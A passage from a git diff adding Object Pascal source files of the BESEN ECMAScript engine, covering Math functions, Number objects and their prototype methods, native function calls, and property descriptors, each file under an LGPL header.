else if (abs(x)=1) and BESENIsInfinite(y) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if (abs(x)<1) and BESENIsPosInfinite(y) then begin + ResultValue.Num:=0; + end else if (abs(x)<1) and BESENIsNegInfinite(y) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end else if BESENIsPosInfinite(x) and (y>0) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end else if BESENIsPosInfinite(x) and (y<0) then begin + ResultValue.Num:=0; + end else if BESENIsNegInfinite(x) and (y>0) then begin + y:=abs(BESENModulo(y,2.0)); + if y=1 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfNeg)^); + end else begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end; + end else if BESENIsNegInfinite(x) and (y<0) then begin + y:=abs(BESENModulo(-y,2.0)); + ResultValue.Num:=0; + if y=1 then begin + PBESENDoubleHiLo(@ResultValue.Num)^.Hi:=PBESENDoubleHiLo(@ResultValue.Num)^.Hi or $80000000; + end; + end else if BESENIsPosZero(x) and (y>0) then begin + ResultValue.Num:=0; + end else if BESENIsPosZero(x) and (y<0) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end else if BESENIsNegZero(x) and (y>0) then begin + y:=abs(BESENModulo(-y,2.0)); + ResultValue.Num:=0; + if y=1 then begin + PBESENDoubleHiLo(@ResultValue.Num)^.Hi:=PBESENDoubleHiLo(@ResultValue.Num)^.Hi or $80000000; + end; + end else if BESENIsNegZero(x) and (y<0) then begin + y:=abs(BESENModulo(y,2.0)); + if y=1 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfNeg)^); + end else begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleInfPos)^); + end; + end else if ((x<0) and BESENIsFinite(x)) and (BESENIsFinite(y) and not BESENIsZero(frac(y))) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + ResultValue.Num:=power(x,y); + end; + end; +end; + +procedure TBESENObjectMath.NativeRandom(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=TBESEN(Instance).RandomGenerator.GetNumber; +end; + +procedure TBESENObjectMath.NativeRound(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if BESENIsNaN(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if not (BESENIsZero(ResultValue.Num) or BESENIsInfinite(ResultValue.Num)) then begin + if (ResultValue.Num>=-0.5) and (ResultValue.Num<0) then begin + ResultValue.Num:=0; + PBESENDoubleHiLo(@ResultValue.Num)^.Hi:=PBESENDoubleHiLo(@ResultValue.Num)^.Hi or $80000000; + end else if (ResultValue.Num>0) and (ResultValue.Num<0.5) then begin + ResultValue.Num:=0; + end else begin + ResultValue.Num:=BESENFloor(ResultValue.Num+0.5); + end; + end; + end; +end; + +procedure TBESENObjectMath.NativeSin(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if BESENIsNaN(ResultValue.Num) or BESENIsInfinite(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if not BESENIsZero(ResultValue.Num) then begin + ResultValue.Num:=sin(ResultValue.Num); + end; + end; +end; + +procedure TBESENObjectMath.NativeSqrt(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if BESENIsNaN(ResultValue.Num) or BESENIsNegative(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if not (BESENIsZero(ResultValue.Num) or BESENIsPosInfinite(ResultValue.Num)) then begin + ResultValue.Num:=sqrt(ResultValue.Num); + end; + end; +end; + +procedure TBESENObjectMath.NativeTan(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,ResultValue); + if BESENIsNaN(ResultValue.Num) or BESENIsInfinite(ResultValue.Num) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else if not BESENIsZero(ResultValue.Num) then begin + ResultValue.Num:=tan(ResultValue.Num); + end; + end; +end; + +end. diff --git a/Core/JS/BESENObjectNativeFunction.pas b/Core/JS/BESENObjectNativeFunction.pas new file mode 100644 index 0000000..8674ebe --- /dev/null +++ b/Core/JS/BESENObjectNativeFunction.pas @@ -0,0 +1,102 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectNativeFunction; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectNativeFunction=class(TBESENObjectFunction) + public + Native:TBESENNativeFunction; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + function GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; override; + function GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasCall:TBESENBoolean; override; + end; + +implementation + +uses BESEN,BESENErrors; + +constructor TBESENObjectNativeFunction.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='native'; + Native:=nil; +end; + +destructor TBESENObjectNativeFunction.Destroy; +begin + inherited Destroy; +end; + +function TBESENObjectNativeFunction.GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + result:=inherited GetEx(P,AResult,Descriptor,Base,Hash); + if TBESEN(Instance).IsStrict and (P='caller') then begin + raise EBESENTypeError.Create('"caller" not allowed here'); + end; +end; + +function TBESENObjectNativeFunction.GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + result:=inherited GetIndex(Index,ID,AResult,Base); + if TBESEN(Instance).IsStrict and (ID=TBESEN(Instance).KeyIDManager.CallerID) then begin + raise EBESENTypeError.Create('"caller" not allowed here'); + end; +end; + +procedure TBESENObjectNativeFunction.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + if assigned(Native) then begin + Native(ThisArgument,Arguments,CountArguments,AResult); + end else begin + AResult.ValueType:=bvtUNDEFINED; + end; +end; + +function TBESENObjectNativeFunction.HasCall:TBESENBoolean; +begin + result:=true; +end; + +end. diff --git a/Core/JS/BESENObjectNumber.pas b/Core/JS/BESENObjectNumber.pas new file mode 100644 index 0000000..70bff1d --- /dev/null +++ b/Core/JS/BESENObjectNumber.pas @@ -0,0 +1,75 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectNumber; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectNumber=class(TBESENObject) + public + Value:TBESENNumber; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Finalize; override; + procedure Mark; override; + end; + +implementation + +uses BESEN; + +constructor TBESENObjectNumber.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Number'; + ObjectName:=''; + + Value:=0; +end; + +destructor TBESENObjectNumber.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectNumber.Finalize; +begin + inherited Finalize; +end; + +procedure TBESENObjectNumber.Mark; +begin + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENObjectNumberConstructor.pas b/Core/JS/BESENObjectNumberConstructor.pas new file mode 100644 index 0000000..e6c766a --- /dev/null +++ b/Core/JS/BESENObjectNumberConstructor.pas @@ -0,0 +1,130 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectNumberConstructor; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectNumberConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + end; + +implementation + +uses BESEN,BESENObjectNumber,BESENNumberUtils,BESENGlobals,BESENObjectArray; + +constructor TBESENObjectNumberConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +var v:TBESENValue; +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='Number'; + + v:=BESENEmptyValue; + + v:=BESENNumberValue(0); + move(BESENDoubleMax,v.Num,sizeof(TBESENNumber)); + OverwriteData('MAX_VALUE',v,[]); + + v:=BESENNumberValue(0); + move(BESENDoubleMin,v.Num,sizeof(TBESENNumber)); + OverwriteData('MIN_VALUE',v,[]); + + v:=BESENNumberValue(0); + move(BESENDoubleNaN,v.Num,sizeof(TBESENNumber)); + OverwriteData('NaN',v,[]); + + v:=BESENNumberValue(0); + move(BESENDoubleInfNeg,v.Num,sizeof(TBESENNumber)); + OverwriteData('NEGATIVE_INFINITY',v,[]); + + v:=BESENNumberValue(0); + move(BESENDoubleInfPos,v.Num,sizeof(TBESENNumber)); + OverwriteData('POSITIVE_INFINITY',v,[]); +end; + +destructor TBESENObjectNumberConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectNumberConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var r1:TBESENObjectNumber; +begin + r1:=TBESENObjectNumber.Create(Instance,TBESEN(Instance).ObjectNumberPrototype,false); + TBESEN(Instance).GarbageCollector.Add(r1); + r1.GarbageCollectorLock; + try + if CountArguments>0 then begin + r1.Value:=TBESEN(Instance).ToNum(Arguments^[0]^); + end else begin + r1.Value:=0.0; + end; + finally + r1.GarbageCollectorUnlock; + end; + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=r1; +end; + +procedure TBESENObjectNumberConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var v:TBESENValue; +begin + if CountArguments<1 then begin + AResult.ValueType:=bvtNUMBER; + AResult.Num:=0; + end else if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj) and (Arguments^[0]^.Obj is TBESENObjectArray) then begin + TBESENObjectArray(Arguments^[0]^.Obj).Get('length',v,TBESENObject(Arguments^[0]^.Obj),BESENLengthHash); + TBESEN(Instance).ToNumberValue(v,AResult); + end else begin + TBESEN(Instance).ToNumberValue(Arguments^[0]^,AResult); + end; +end; + +function TBESENObjectNumberConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectNumberConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + +end. diff --git a/Core/JS/BESENObjectNumberPrototype.pas b/Core/JS/BESENObjectNumberPrototype.pas new file mode 100644 index 0000000..13db648 --- /dev/null +++ b/Core/JS/BESENObjectNumberPrototype.pas @@ -0,0 +1,281 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectNumberPrototype; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectNumber,BESENValue,BESENObjectPropertyDescriptor, + BESENObjectBoolean; + +type TBESENObjectNumberPrototype=class(TBESENObjectNumber) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLocaleString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToFixed(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToExponential(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToPrecision(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors,BESENNumberUtils; + +constructor TBESENObjectNumberPrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Number'; + ObjectName:='Number'; + + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + OverwriteData('name',BESENStringValue(ObjectName),[]); + end; + + RegisterNativeFunction('toString',NativeToString,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLocaleString',NativeToLocaleString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('valueOf',NativeValueOf,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toFixed',NativeToFixed,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toExponential',NativeToExponential,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toPrecision',NativeToPrecision,1,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectNumberPrototype.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectNumberPrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Radix:integer; + nv:TBESENValue; +begin + if ThisArgument.ValueType=bvtNUMBER then begin + nv:=ThisArgument; + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectNumber) then begin + nv:=BESENNumberValue(TBESENObjectNumber(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a Number object'); + end; + if CountArguments=0 then begin + Radix:=10; + end else begin + Radix:=TBESEN(Instance).ToInt32(Arguments^[0]^); + end; + if Radix=10 then begin + TBESEN(Instance).ToStringValue(nv,ResultValue); + end else if Radix in [2..36] then begin + ResultValue.ValueType:=bvtSTRING; + if BESENIsNaN(nv.Num) then begin + ResultValue.Str:='NaN'; + end else if BESENIsZero(nv.Num) then begin + ResultValue.Str:='0'; + end else if BESENIsInfinite(nv.Num) then begin + if BESENIsNegative(nv.Num) then begin + ResultValue.Str:='-Infinity'; + end else begin + ResultValue.Str:='Infinity'; + end; + end else begin + ResultValue.Str:=BESENNumberToRadixString(nv.Num,Radix); + end; + end else begin + raise EBESENRangeError.Create('Bad radix'); + end; +end; + +procedure TBESENObjectNumberPrototype.NativeToLocaleString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var nv:TBESENValue; +begin + if ThisArgument.ValueType=bvtNUMBER then begin + nv:=ThisArgument; + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectNumber) then begin + nv:=BESENNumberValue(TBESENObjectNumber(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a Number object'); + end; + ResultValue:=BESENStringValue(BESENFloatToLocaleStr(nv.Num)); +end; + +procedure TBESENObjectNumberPrototype.NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if ThisArgument.ValueType=bvtNUMBER then begin + ResultValue:=ThisArgument; + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectNumber) then begin + ResultValue:=BESENNumberValue(TBESENObjectNumber(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a Number object'); + end; +end; + +procedure TBESENObjectNumberPrototype.NativeToFixed(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +{$ifdef UseDTOA} +var f:int64; + v,nv:TBESENValue; + x:TBESENNumber; +begin + if ThisArgument.ValueType=bvtNUMBER then begin + nv:=ThisArgument; + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectNumber) then begin + nv:=BESENNumberValue(TBESENObjectNumber(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a Number object'); + end; + f:=0; + if (CountArguments>0) and (Arguments^[0]^.ValueType<>bvtUNDEFINED) then begin + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + if (TBESEN(Instance).Compatibility and COMPAT_BESEN)<>0 then begin + if BESENIsNaN(v.Num) or ((v.Num<0) or (v.Num>1076)) then begin + raise EBESENRangeError.CreateUTF16('Fixed width '+BESENFloatToStr(v.Num)+' out of range'); + end; + end else begin + if BESENIsNaN(v.Num) or ((v.Num<0) or (v.Num>20)) then begin + raise EBESENRangeError.CreateUTF16('Fixed width '+BESENFloatToStr(v.Num)+' out of range'); + end; + end; + f:=trunc(v.Num); + end; + x:=nv.Num; + ResultValue.ValueType:=bvtSTRING; + if (not BESENIsFinite(x)) or ((x<-1e+21) or (x>1e+21)) then begin + ResultValue.Str:=BESENFloatToStr(x); + end else begin + ResultValue.Str:=dtostr(x,DTOSTR_FIXED,f); + end; +end; +{$else} +var f:int64; + v,nv:TBESENValue; + x:TBESENNumber; + s:TBESENString; + ss:shortstring; +begin + if ThisArgument.ValueType=bvtNUMBER then begin + nv:=ThisArgument; + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectNumber) then begin + nv:=BESENNumberValue(TBESENObjectNumber(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a Number object'); + end; + f:=0; + if (CountArguments>0) and (Arguments^[0]^.ValueType<>bvtUNDEFINED) then begin + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + if BESENIsNaN(v.Num) or ((v.Num<0) or (v.Num>20)) then begin + raise EBESENRangeError.CreateUTF16('Fixed width '+BESENFloatToStr(v.Num)+' out of range'); + end; + f:=trunc(v.Num); + end; + x:=nv.Num; + ResultValue.ValueType:=bvtSTRING; + if (not BESENIsFinite(x)) or ((x<-1e+21) or (x>1e+21)) then begin + ResultValue.Str:=BESENFloatToStr(x); + end else begin + str(x:1:f,ss); + s:=TBESENString(ss); + ResultValue.Str:=s; + end; +end; +{$endif} + +procedure TBESENObjectNumberPrototype.NativeToExponential(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v,nv:TBESENValue; + x:TBESENNumber; + f:integer; +begin + if ThisArgument.ValueType=bvtNUMBER then begin + nv:=ThisArgument; + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectNumber) then begin + nv:=BESENNumberValue(TBESENObjectNumber(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a Number object'); + end; + f:=0; + if (CountArguments>0) and (Arguments^[0]^.ValueType<>bvtUNDEFINED) then begin + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + if (TBESEN(Instance).Compatibility and COMPAT_BESEN)<>0 then begin + if BESENIsNaN(v.Num) or ((v.Num<0) or (v.Num>1076)) then begin + raise EBESENRangeError.CreateUTF16('Exponent width '+BESENFloatToStr(v.Num)+' out of range'); + end; + end else begin + if BESENIsNaN(v.Num) or ((v.Num<0) or (v.Num>20)) then begin + raise EBESENRangeError.CreateUTF16('Exponent width '+BESENFloatToStr(v.Num)+' out of range'); + end; + end; + f:=trunc(v.Num); + end; + x:=nv.Num; + if not BESENIsFinite(x) then begin + ResultValue:=BESENStringValue(BESENFloatToStr(x)); + end else begin + if (CountArguments>0) and (Arguments^[0]^.ValueType<>bvtUNDEFINED) then begin + ResultValue:=BESENStringValue(TBESENString(BESENDoubleToString(x,BESEN_DOUBLETOSTRINGMODE_EXPONENTIAL,f+1))); + end else begin + ResultValue:=BESENStringValue(TBESENString(BESENDoubleToString(x,BESEN_DOUBLETOSTRINGMODE_STANDARDEXPONENTIAL,0))); + end; + end; +end; + +procedure TBESENObjectNumberPrototype.NativeToPrecision(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var f:int64; + v,nv:TBESENValue; + x:TBESENNumber; +begin + if ThisArgument.ValueType=bvtNUMBER then begin + nv:=ThisArgument; + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectNumber) then begin + nv:=BESENNumberValue(TBESENObjectNumber(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a Number object'); + end; + f:=0; + if (CountArguments>0) and (Arguments^[0]^.ValueType<>bvtUNDEFINED) then begin + TBESEN(Instance).ToIntegerValue(Arguments^[0]^,v); + if (TBESEN(Instance).Compatibility and COMPAT_BESEN)<>0 then begin + if BESENIsNaN(v.Num) or ((v.Num<1) or (v.Num>1076)) then begin + raise EBESENRangeError.CreateUTF16('Precision '+BESENFloatToStr(v.Num)+' out of range'); + end; + end else begin + if BESENIsNaN(v.Num) or ((v.Num<1) or (v.Num>21)) then begin + raise EBESENRangeError.CreateUTF16('Precision '+BESENFloatToStr(v.Num)+' out of range'); + end; + end; + f:=trunc(v.Num); + end; + x:=nv.Num; + if (not BESENIsFinite(x)) or ((x<-1e+21) or (x>1e+21)) then begin + ResultValue:=BESENStringValue(BESENFloatToStr(x)); + end else begin + ResultValue:=BESENStringValue(TBESENString(BESENDoubleToString(x,BESEN_DOUBLETOSTRINGMODE_PRECISION,f))); + end; +end; + +end. diff --git a/Core/JS/BESENObjectPropertyDescriptor.pas b/Core/JS/BESENObjectPropertyDescriptor.pas new file mode 100644 index 0000000..89e94a9 --- /dev/null +++ b/Core/JS/BESENObjectPropertyDescriptor.pas @@ -0,0 +1,146 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectPropertyDescriptor; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENValue; + +type TBESENObjectPropertyDescriptorAttribute=(bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE); + + TBESENObjectPropertyDescriptorAttributes=set of TBESENObjectPropertyDescriptorAttribute; + + TBESENObjectPropertyDescriptorPresent=(boppVALUE,boppGETTER,boppSETTER,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE,boppPROTO); + + TBESENObjectPropertyDescriptorPresents=set of TBESENObjectPropertyDescriptorPresent; + + PBESENObjectPropertyDescriptor=^TBESENObjectPropertyDescriptor; + TBESENObjectPropertyDescriptor=record + Value:TBESENValue; + Getter:TObject; + Setter:TObject; + Attributes:TBESENObjectPropertyDescriptorAttributes; + Presents:TBESENObjectPropertyDescriptorPresents; + end; + + TBESENObjectPropertyDescriptors=array of TBESENObjectPropertyDescriptor; + +var BESENUndefinedPropertyDescriptor:TBESENObjectPropertyDescriptor; + +function BESENAccessorPropertyDescriptor(const Getter,Setter:TObject;const Attributes:TBESENObjectPropertyDescriptorAttributes):TBESENObjectPropertyDescriptor; {$ifdef caninline}inline;{$endif} +function BESENDataPropertyDescriptor(const Value:TBESENValue;const 